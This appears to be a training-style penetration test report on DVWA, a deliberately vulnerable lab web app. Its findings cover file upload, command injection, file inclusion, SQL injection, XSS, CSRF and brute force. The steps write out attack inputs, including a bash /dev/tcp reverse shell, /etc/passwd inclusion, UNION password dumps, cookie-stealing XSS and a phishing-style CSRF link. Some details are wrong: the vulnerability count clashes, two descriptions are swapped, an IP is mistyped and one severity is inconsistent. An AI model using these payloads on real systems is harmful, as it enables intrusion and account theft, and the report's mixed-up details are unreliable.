

DVWA

Cyber Security Evaluation Report

Confidentiality Notice

This report contains confidential and sensitive cybersecurity information related to DVWA. It is intended solely for authorized personnel and must not be shared, reproduced, or disclosed without prior written consent.

Unauthorized access or distribution may expose DVWA to reputational damage, regulatory risk, or exploitation by threat actors. INSA advises strict confidentiality and restricted access to this document.

Disclaimer

This report reflects a point-in-time security assessment based on the defined scope and current threat landscape. While all identified vulnerabilities are documented, the assessment may not uncover all existing or future risks.

Due to the evolving nature of cybersecurity threats, regular security evaluations are recommended.

Contents

OVERVIEW

- Executive Summary
 - National Impact Consideration (External Insight)
- Overview of Vulnerabilities
- Project Objective
- Project Scope
- Existing Security Controls
- Identified Vulnerabilities and Details
 - 1. Default Administrative Credentials

APPENDIX

- Appendix A – Risk Rating Matrix
 - Risk Rating Matrix for CVSS 3.0
 - CVSS v3.0 Base Metric Vectors – Brief Overview
 - National Cyber Risk Scoring Matrix
 - Components of the National Impact Risk Scoring Matrix
 - Scoring Each Factor
 - Calculating the Risk Score
 - Appendix B – Tools and Resources Used
 - Appendix C – Acronyms and Abbreviations
-

OVERVIEW

Executive Summary

This report summarizes a penetration test conducted on DVWA between 02/09/2025 and 04/09/2025. The assessment aimed to identify security weaknesses and provide strategic recommendations to reduce risk and strengthen system resilience.

Using controlled, manual techniques aligned with industry standards, the test revealed [7] vulnerabilities ranging from [Low] to [Critical] severity. If left unaddressed, these issues could lead to:

- [Data theft, credential compromise, and loss of communication integrity.]
- [Allow unauthorized users to gain access to protected systems or data.]
- [Data exposure, and privilege escalation.]

National Impact Consideration (External Insight)

As the application is designated as critical by the administration, the vulnerabilities identified pose risks beyond the organization. Successful exploitation could lead to:

- [Loss of public trust and operational compromise.]
- [Integrated systems discovery and abuse.]
- [Unauthorized access to critical systems.]

The findings and recommendations detailed in this report are essential for enhancing the resilience of DVWA and contribute to the broader effort of securing the national digital ecosystem.

Number	Vulnerabilities	Severity	Risk Score	Status
1	Unrestricted File Upload	Critical	9.3	Pending
2	Command injection	High	8.8	Pending
3	File inclusion	High	8.7	Pending
4	SQL Injection	High	7.8	Pending
5	XSS stored	Medium	6.9	Pending
6	SQL injection(blind)	Meduim	6.8	Pending
7	Brute Force	Meduim	5.5	pending
8	CSRF(Cross-Site Request Forgery)	Meduim	4.8	pending
9	XSS reflected	low	2.7	pending

Overview of Vulnerabilities

Project Objective

The objective of this penetration testing engagement was to assess the security posture of DVWA systems by identifying and evaluating vulnerabilities within its in-scope systems.

Project Scope

Number	Name	Scope	Version	Type	Affected
1	Local Network	192.168.9.30	-	-	100%

Existing Security Controls

During the assessment, the following security controls and mechanisms were observed within DVWA environment. These controls contribute to the organization’s overall security posture by providing foundational defense layers:

- [Authentication Mechanisms: User authentication is enforced across core systems, including password-based logins with session management.]
 - [Patch Management: Regular patching appears to be applied on critical infrastructure components, though not always in a timely manner.]
 - [Encryption: The system uses a VPN without TLS.]
-

TECHNICAL FINDINGS

Identified Vulnerabilities and Details

1.File Upload	
Severity	Critical
Risk Score	9.3/10
CVSS	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:L/SC:L/SI:L/SA:N/E:A/CR:H/IR:H/AR:L/MAV:N/MAC:L/MAT:N/MPR:N/MUI:N/MVC:H/MVI:H/MVA:L/MSC:L/MSI:L/MSA:N/S:P/AU:Y/R:I/V:C/RE:L/U:Red

Description

We identified a critical client-side vulnerability in DVWA's input handling mechanisms where user-supplied data is reflected in application responses without proper sanitization. This allows attackers to inject malicious JavaScript code that executes in victims' browsers when they interact with specially crafted URLs.

Impact

- Immediate Script Execution: Malicious JavaScript runs in the victim's browser context
- Session Hijacking: Attackers can steal session cookies and authentication tokens
- Phishing Attacks: Enables creation of convincing fake authentication prompts
- Browser Exploitation: Potential gateway for drive-by downloads or malware delivery

Steps to Reproduce

1. Prepare a file

We can use a simple image file,PHP file or a text file for testing.

2. Upload the file

Choose the file → click **Upload**.

3. Access the uploaded file

Suggested Recommendation

Restrict File Types: Only allow specific, safe file types (e.g., .jpg, .png, .pdf) and reject everything else.

Store Files Outside Web Root: Uploaded files should not be stored in directories accessible via the web.

Scan Files for Malware: Implement antivirus or malware scanning on uploaded files before processing them.

Limit File Size: Restrict the size of uploads to prevent resource exhaustion attacks.

Apply Server-side Validation: Check file content signatures (magic numbers) to ensure the file matches the allowed type.

Use Security Headers and Configuration:

Disable execution in upload directories (e.g., via .htaccess or server config).

Limit file types in server config to prevent execution of scripts.

Identified Vulnerabilities and Details

2. Command Injection	
Severity	High
Risk Score	8.8/10
CVSS	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:L/SI:L/SA:N/E:P/CR:H/IR:H/AR:L/MAV:N/MAC:L/MAT:N/MPR:N/MUI:N/MVC:H/MVI:H/MVA:L/MSL:L/MSA:N/S:P/AU:Y/R:U/V:C/RE:L/U:Red

Description

File Upload Vulnerability in DVWA occurs when the application fails to properly validate files uploaded by users. This oversight allows attackers to upload malicious files (such as PHP shells, reverse shells, or malware) to the server.

Impact

Malware Upload: Attackers can upload malicious files (e.g., scripts, executables) that can compromise the server or other users.

Remote Code Execution (RCE): If the uploaded file is executed on the server (e.g., a PHP or ASP file), it can lead to RCE, giving the attacker control over the server.

Denial of Service (DoS): Large or malformed files can consume server resources, leading to crashes or degraded performance.

Data Leakage: Sensitive files (e.g., configuration files, databases) might be overwritten or accessed improperly.

Affected Components

<http://192.168.9.130/vulnerabilities/exec/>

Steps to Reproduce

1. Inject Malicious Command:

In the input field (e.g., "Enter an IP address"), enter:

```
192.168.9.130; whoami
```

2. Execute Arbitrary Commands:

Chain commands using operators (;, &&, |, ||)

```
& ping -c 10 127.0.0.1 &
```

1. Gain Reverse Shell (Advanced):

Set up a listener on your machine:

```
nc -lvnp 4444
```

Inject a reverse shell payload:

```
127.0.0.1; bash -i >& /dev/tcp/<Your-IP>/4444 0>&1
```

Suggested Recommendation

Input Validation: Use allowlists for expected input (e.g., only allow valid IP addresses).

Command Sanitization: Escape shell metacharacters (e.g., ;, &, |)

Least Privilege Principle: Run the web server with minimal permissions (e.g., non-root user).

Web Application Firewall (WAF): Deploy ModSecurity to block command injection attempts.

Identified Vulnerabilities and Details

3.File Inclusion	
Severity	Hlgh
Risk Score	8.7/10
CVSS	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:L/SC:L/SI:N/SA:N/E:A/CR:H/IR:L/AR:L/MAV:N/MAC:L/MAT:N/MPR:N/MUI:N/MVC:H/MVI:L/MVA:L/MSL/MSI:N/MSA:N/S:P/AU:Y/R:U/V:C/RE:L/U:Red

Description

File Inclusion is a security flaw in DVWA that allows attackers to include and execute arbitrary files (local or remote) due to improper input validation. This can lead to:

Local File Inclusion (LFI): Reading sensitive files (e.g., /etc/passwd).

Remote File Inclusion (RFI): Executing malicious scripts hosted on external servers.

Impact

Sensitive Data Leak: Read /etc/passwd, .env, or database credentials.

Remote Code Execution (RCE): Execute malicious PHP scripts via Remote File Inclusion.

Server Compromise: Gain shell access via log poisoning or Remote File Inclusion

Malware injection

Affected Components

<http://192.168.9.130/vulnerabilities/fi/?page=include.php>

Steps to Reproduce

Observe the URL

<http://192.168.9.130/vulnerabilities/fi/?page=include.php>

Local File Inclusion

Try including sensitive files on the server

`?page=../../../../etc/passwd`

Remote File Inclusion

Host a simple text file or PHP file on your own VM.

Example:

`?page=http://192.168.9.130/malicious.txt`

DVWA will include the content of that file.

Observe the output

The content of the file appears in the page.

1.

✓ **Result:** DVWA shows **Local or Remote File Inclusion vulnerability**

Suggested Recommendation

Input Validation and Sanitization

Avoid Direct Inclusion of User Input

Avoid relative paths; use **absolute paths** to include files.

This prevents attackers from navigating to sensitive directories.

Disable Remote File Inclusion

Limit File Permissions

Ensure **web server cannot read sensitive files** (e.g., `/etc/passwd`)

Files outside the web root should have restrictive permissions

Identified Vulnerabilities and Details

4. SQL injection	
Severity	High
Risk Score	7.8/10
CVSS	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:L/SC:L/SI:N/SA:N/CR:L/IR:L/AR:L/MAV:N/MAC:L/MAT:N/MPR:N/MUI:N/MVC:H/MVI:L/MVA:L/S:N/AU:Y/R:A/V:D/RE:L/U:Clear

Description

We identified a critical SQL injection (SQLi) vulnerability in DVWA's user input handling, allowing attackers to manipulate database queries by injecting malicious SQL code. This flaw arises due to improper sanitization of user-supplied input in the id parameter of the SQLi module (`/vulnerabilities/sql/`).

Impact

can lead to unauthorized access
disclosure of sensitive data
manipulation of database records
authentication bypass
potential denial of service.

Affected Components

<http://192.168.9.130/vulnerabilities/sqli/>

Steps to Reproduce

1. Test for Vulnerability

In the input box, enter: **1' OR '1'='1**

The page shows all user data, SQL injection is possible

Extract Data

To dump all usernames and passwords, enter:

1' UNION SELECT user, password FROM users--

Suggested Recommendation

Input Validation & Sanitization: *Escape special characters, Reject unexpected characters and Never directly concatenate user input into SQL queries.*

Error Handling: Disable detailed SQL errors in production

Least Privilege Database Access :*The database user for the application should only have permissions necessary for its function.*

Web Application Firewalls (WAF): *Deploy a WAF to block known SQLi patterns and suspicious requests.*

Identified Vulnerabilities and Details

5.XSS Stored	
Severity	Meduim
Risk Score	6.9/10
CVSS	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/CR:L/IR:L/AR:L/MAV:N/MAC:L/MAT:N/MPR:N/MVC:L/MVI:L/MVA:N/MSA:N/AU:Y/R:U/V:D/RE:L/U:Clear

Description

We discovered a severe persistent XSS vulnerability in DVWA's content storage systems. The application improperly sanitizes user-generated content before storing and redisplaying it, allowing malicious scripts to be permanently embedded in pages.ge.

Affected Component

Input fields that store and display user-supplied data (guestbook in DVWA).

Impact

Session Hijacking: Stealing session cookies to impersonate users

Data Theft: Accessing sensitive user information.

Malware Distribution: Redirecting users to malicious sites or serving malware.

Website Defacement:Altering the appearance or content of the site.

Phishing:Displaying fake login forms to capture credentials.

Steps to Reproduce

Inject Malicious Payload:

In the Guestbook fields, enter:

```
<script>alert(document.cookie)</script>
```

```
"><img src=x onerror=alert('XSS')>
```

Submit and Verify:

The payload is stored in the database.

Any user visiting the page will execute the script.

Recommendation

Input Sanitization: Strip or encode dangerous characters (e.g., <, >, &, ") before storing user input.

Output Encoding: Encode dynamic content before rendering it in HTML (e.g., using htmlspecialchars in PHP).

Content Security Policy (CSP): Restrict script execution to trusted sources.

HTTP-only Cookies: Prevent JavaScript from accessing sensitive cookies.

Framework Protections: Use modern frameworks (React, Angular, Django) that auto-escape XSS vectors

Identified Vulnerabilities and Details

6.SQL Injection (Blind)	
Severity	Meduim
Risk Score	6.8/10
CVSS	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:L/SC:L/SI:N/SA:N/CR:L/IR:L/AR:L/MAV:N/MAC:L/MAT:N/MPR:N/MUI:N/MVC:H/MVI:L/MVA:L/S:N/AU:Y/R:A/V:D/RE:L/U:Clear

Description

Blind SQL Injection occurs when an application is vulnerable to SQLi but does not display database errors or results directly. Attackers infer information by analyzing:

Boolean responses (True/False behavior).

Time delays (e.g., SLEEP(5)).

Impact

Data Theft: Extract usernames and passwords

Privilege Escalation: Gain admin access by tampering with authentication logic.

Affected Components

http://192.168.9.130/vulnerabilities/sqli_blind/

Steps to Reproduce

A. Boolean-Based Blind SQLi

Enter:

1' AND 1=1 --

The page returns "User ID exists", the query is valid.

Enter:

1' AND 1=2 --

The page returns "User ID is MISSING", the app is vulnerable.

Suggested Recommendation

Web Application Firewall (WAF): Deploy ModSecurity.

Rate Limiting: Block repeated suspicious requests.

Input validation

Identified Vulnerabilities and Details

7. Brute Force

Severity	low
----------	-----

Risk Score	5.5/10
CVSS	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:L/SI:N/SA:N/E:P/C R:L/IR:L/AR:L/MAV:N/MAC:L/MAT:N/MPR:N/MUI:N/MVC:L/MVI:N/MVA:L/MS C:L/MSI:L/MSA:L/AU:Y/R:A/RE:M/U:Green

Description

Brute Force is a security flaw in DVWA where attackers can systematically guess login credentials (usernames/passwords) due to weak protections like:

- No account lockout after multiple failed attempts.

- No CAPTCHA or rate-limiting.

- Default credentials (e.g., admin/password) left unchanged.

Impact

Account Takeover: Gain unauthorized access to admin/user accounts.

Data Breach: Access sensitive data (e.g. passwords).

Privilege Escalation: Elevate privileges (e.g., from user to admin).

Affected Components

<http://192.168.9.130/vulnerabilities/brute/>

Steps to Reproduce

1. Using Burpsuite
2. Configure foxyProxy in Browser
3. Capture Login Request
 - a. Navigate to DVWA login page:
`http://192.160.9.130/login.php`
 - b. Enter a dummy username/password (e.g., test:test) and click Login.
 - c. Burp Suite will intercept the request. Right-click and send it to Intruder.

4. Set Up Intruder Attack

In Burp Intruder, go to the Positions tab.

Clear default payload markers and select:

Attack Type: Cluster Bomb (for multi-parameter attacks).

Parameters to Fuzz:

username

password

5. Go to the Payloads tab.

Payload Set 1 (Usernames):

admin

user

administer

Payload Set 2 (Passwords): Load a wordlist (e.g.seclist.txt).

6. Start the Attack

a. Click Start Attack.

b. Analyze Results:

Look for responses with 302 Redirects (successful logins).

Failed attempts return 200 OK with "Login failed" in the response.

Suggested Recommendation

Rate Limiting: Limit the number of login attempts per IP address

Logging: Monitor brute force attempts.

Account Lockout: Temporarily lock accounts after a certain number of failed login attempts.

Strong Password Policies:

Enforce minimum password length (8+ characters),

Require complexity: mix of uppercase, lowercase, numbers, and special characters.

Avoid common or default passwords.

Multi-Factor Authentication (MFA)

Even if the password is guessed, MFA adds an extra layer.

Could be SMS, email, or an authenticator app.

Identified Vulnerabilities and Details

8.CSRF(Cross-Site Request Forgery)

Severity	Meduim
Risk Score	4.8/10
CVSS	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:H/VA:N/SC:L/SI:N/SA:L/E:P/CR:M/IR:M/AR:L/MAV:N/MAC:L/MAT:N/MPR:N/MUI:A/MVC:L/MVI:H/MVA:N/MSC:N/MSI:L/MSA:N/AU:N/R:A/V:D/U:Amber

Description

Cross-Site Request Forgery (CSRF) is a security flaw in DVWA that allows attackers to trick authenticated users into executing unintended actions on a web application without their consent. This occurs when the application does not implement proper anti-CSRF tokens or other protections, making it possible to forge malicious requests that appear legitimate.

Impact

Unauthorized actions (e.g., changing account details, making purchases).

Data theft or manipulation.

Performing sensitive operations in user name and password

Affected Components

<http://192.168.9.130/vulnerabilities/csrf/>

Steps to Reproduce

1. Observe the Password Change Form

The form allows changing the password without CSRF protection.

http://192.168.9.130/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

2. Craft a Malicious Link

Replace the password values in the URL:

`http://1192.168.9.130/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change#`

No user interaction needed—just visiting this URL changes the password to hacked.

3. Trick the Victim

Send the malicious link via email, chat, or embed it in a fake button:

```
<a  
href="http://192.168.9.130/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change#">Click for a Prize!</a>
```

Shorting the URL by using `https://www.shorturl.at`

<https://shorturl.at/29KQO>

```
<a href="https://shorturl.at/29KQO">Click for a Prize!</a>
```

When the victim clicks the link (while logged into DVWA), their password is silently changed.

4. Verify Exploitation

The victim's password is now hacked.

They will be locked out if they try to log in with their old password.

Suggested Recommendation

- 1.CSRF Tokens: Include a unique, unpredictable token in each HTTP request (e.g., in a hidden form field or header). The server validates the token before processing the request.
 - 2.SameSite Cookies:Set cookies with the Same Site attribute (Strict or Lax) to prevent them from being sent in cross-site requests.
 - 3.Validate HTTP Methods: Use safe methods (GET, HEAD) for read-only operations and restrict state-changing actions to POST, PUT, or DELETE, requiring CSRF token validation.
 - 4.User Interaction: Require explicit user confirmation (e.g., re-entering a password) for sensitive actions.
 - 5.Check Referer/Origin Headers: Verify the request's origin or referer to ensure it comes from a trusted domain, though this is less reliable due to possible suppression.
-

Identified Vulnerabilities and Details

9. XSS Reflected	
Severity	low
Risk Score	2.7/10
CVSS	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:N/E:U/CR:M/IR:L/AR:L/M AV:N/MAC:L/MAT:N/MPR:N/MUI:N/MVC:L/MVI:L/MVA:L/MSI:N/MSA:N/S:N/AU:Y/ R:A/V:D/RE:L

Description

We identified a critical security flaw in DVWA's reflected input handling: the application fails to properly sanitize user-supplied data in URL parameters and form inputs. This oversight allows attackers to inject malicious JavaScript code that executes in victims' browsers when they interact with crafted links.

Impact

- **Session Hijacking:** Stealing session cookies to impersonate the victim.
- **Phishing:** Redirecting users to malicious sites.
- **Defacement:** Altering the appearance of the website.

Affected Components

Input fields that reflect user-supplied data

Steps to Reproduce

Inject Malicious Payload

In the input field enter:

```
<script>alert('Hacked!');</script>
```

```
<img src/onerror=alert(document.cookie)>
```

The script executes in the browser, demonstrating the vulnerability

Recommendation

Input Validation: Ensure all user inputs are validated against a whitelist of allowed characters.

Output Encoding: Encode user-supplied data before including it in the response (e.g., HTML entity encoding).

Content Security Policy (CSP): Implement CSP headers to restrict the sources of executable scripts.

Use Frameworks: Leverage modern frameworks (e.g., React, Angular) that automatically handle XSS protections.

Sanitize Inputs: Remove or escape dangerous characters like <, >, ", ', and &.

General Recommendation

This report presents key findings and remediation actions derived from the current assessment. To reinforce DVWA's security posture and ensure alignment with industry best practices, the following overarching measures are strongly recommended:

Patch Management: Ensure timely application of security patches and firmware updates across all infrastructure components, including endpoints, servers, applications, and network devices.

- **[Access Control Enforcement:** Implement robust identity and access management, incorporating multi-factor authentication (MFA), least privilege principles, and strict role-based access controls (RBAC).]
- **[Security Governance Maintenance:** Regularly review and update cybersecurity policies, incident response plans, and user awareness programs to reflect emerging threats and compliance obligations.]
- **[Data Protection:** Encrypt sensitive data at rest and in transit using strong cryptographic standards. Maintain reliable backup and disaster recovery strategies with regular validation of restore procedures.]
- **[Continuous Monitoring:** Centralize log collection and enable real-time monitoring using a Security Information and Event Management (SIEM) platform to detect, alert, and respond to security events promptly.]
- **[Third-Party Risk Management:** Conduct periodic security assessments of vendors and service providers. Restrict external access to sensitive systems and enforce contractual security requirements.]

These recommendations serve as foundational controls to reduce organizational risk, enhance incident resilience, and improve the maturity of DVWA's cybersecurity program.

APPENDIX

Appendix A – Risk Rating Matrix

Risk Rating Matrix for CVSS 3.0

Range	Risk Level	Description
0-0	None Informative	No risk; no vulnerability or impact identified.
0.1 – 3.9	Low	Low impact; minor risk, often acceptable in many contexts.
4.0 – 6.9	Medium	Moderate risk; requires attention and remediation planning.
7.0 – 8.9	High	High risk; should be remediated as soon as possible.
9.0 – 10.0	Critical	Critical risk; immediate remediation required.

CVSS v3.0 Base Metric Vectors – Brief Overview

- **Attack Vector (AV):** Location from which the vulnerability can be exploited (e.g., Network, Adjacent, Local, Physical).
- **Attack Complexity (AC):** Conditions beyond attacker’s control required for exploitation (Low or High).
- **Privileges Required (PR):** Level of privileges attacker must have before exploitation (None, Low, High).
- **User Interaction (UI):** Whether exploitation requires a user to perform some action (None or Required).
- **Scope (S):** Whether the vulnerability affects resources beyond its own security scope (Unchanged or Changed).
- **Confidentiality (C):** Impact on confidentiality of information (None, Low, High).
- **Integrity (I):** Impact on integrity of data or system (None, Low, High).
- **Availability (A):** Impact on availability of system or data (None, Low, High).

National Cyber Risk Scoring Matrix

Components of the National Impact Risk Scoring Matrix

Factor	Description
Asset Criticality	Importance of the affected asset in national infrastructure (e.g., power grid, banking system). [Low, Medium, High, Critical]

Impact Scale	Geographic and operational scope of potential disruption [local, regional, national, cross-border].
Data Sensitivity	Level of confidentiality and regulatory protection of data handled by the asset (e.g., PII, classified). [Public, Internal, Confidential, Regulated]
Service Disruption Impact	Severity of service interruption and its consequences on safety, economy, and society.[Minimal, Noticeable, Severe, Catastrophic]
Threat Actor Capability	Skill level, resources, and motivation of potential adversaries [Script Kiddie, Organized Hacker, Advanced Crime, Nation-State/APT]
Exploitability (CVSS Base Score)	Ease of exploitation based on CVSS metrics and threat intelligence.
Detection & Response Capability	Ability of the organization to detect and mitigate exploitation attempts (e.g., mature SOC).

Scoring Each Factor

Risk Level	Score	Description
Low	1	Minimal importance or impact.
Medium	2	Moderate importance or a regional impact.
High	3	High importance or severe impact
Critical	4	Essential national importance or catastrophic impact

The Detection & Response factor is used as a multiplier to adjust the score:

Capability	Modifier
Strong monitoring (Mature SOC)	0.75
Some monitoring	1.0
No monitoring	1.25

Calculating the Risk Score

Risk Score = (Asset Criticality + Impact Scale + Data Sensitivity + Service Disruption + Threat Actor Capability + Exploitability) × Detection & Response Modifier

Range	Risk Level	Description
6 – 10	Low	Poses limited national risk.
11 – 16	Moderate	Could cause moderate disruption.
17-22	High	Poses significant national risk.
23 – 24	Critical	Threatens national security at the highest level.

Appendix B – Tools and Resources Used

- Burp Suite Professional
- Nmap
- FFUF
- Custom scripts and manual techniques

Appendix C – Acronyms and Abbreviations

Terminology	Definition
HTTP	Hypertext Transfer Protocol
INSA	Information Network Security Administrator
SSL	Secure Sockets Layer
TLS	Transport Layer Security
DB	Database
URL	Uniform Resource Locator
MIME	Multipurpose Internet Mail Extensions

